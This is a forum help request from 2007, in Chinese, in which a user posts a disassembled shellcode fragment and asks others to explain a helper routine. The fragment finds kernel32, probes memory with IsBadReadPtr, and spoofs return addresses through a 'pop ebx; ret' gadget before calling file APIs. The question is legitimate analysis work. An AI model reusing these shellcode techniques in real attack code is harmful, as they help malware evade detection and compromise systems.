-
-
[求助]调试shellcode遇到的问题,请大虾帮忙
-
发表于:
2007-12-25 18:02
4852
-
[求助]调试shellcode遇到的问题,请大虾帮忙
我遇到一shellcode,不明白下面的代码是什么意思,请各位大虾给予指点。
inc eax ;eax指向kernel32的基地址
cmp byte ptr [eax], 5Bh ; '['
jnz short loc_13427
cmp byte ptr [eax+1], 0C3h ; '?
jnz short loc_13427
mov [esi+34h], eax ; eax为kernel32中7c80DF4D的偏移量,保存到了一个变量中。
mov edx, 150000h
loc_1343B: ; CODE XREF: GetKernelBase+53j
; GetKernelBase+5Bj ...
inc edx
mov ebp, edx
push 99999999h
push 98989898h
push 4
push edx
push dword ptr [esi+30h] ;这个变量指向IsBadReadPrt的起始地址
call sub_135F2 ;在跟进这里的时候,会出现内存访问异常。
mov edx, ebp
cmp eax, 0
jnz short loc_1343B
cmp dword ptr [edx], 70006F00h
jnz short loc_1343B
db 3Eh
cmp dword ptr [edx+4], 6E006500h
jnz short loc_1343B
add edx, 0Dh
push 99999999h
push 98989898h
push 0
push 80h ; '€'
push 3
push 0
push 1
push 80000000h
push edx
push dword ptr [esi+2Ch] ;这个是指向WriteFileW的指针
call sub_135F2
其中 sub_135F2处的内容是
sub_135F2 proc near ; CODE XREF: GetKernelBase+49p
; GetKernelBase+8Ap ...
pop ebx
pop edx
mov eax, esp
loc_135F6: ; CODE XREF: sub_135F2+Bj
inc eax
cmp dword ptr [eax], 98989898h
jnz short loc_135F6
mov ecx, [esi+34h]
mov [eax], ecx
mov [eax+4], ebx
push dword ptr [esi+34h]
push edx
retn
sub_135F2 endp
不明白这个子函数是干什么用的,shellcode中多次调用了此函数,压入参数的格式都是这样的
push 99999999h
push 98989898h
push 0
push 80h ; '€'
push 3
push 0
push 1
push 80000000h
push edx
push dword ptr [esi+2Ch] ;这个是指向WriteFileW的指针
call sub_135F2
哪位高人明白,请给予指点。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!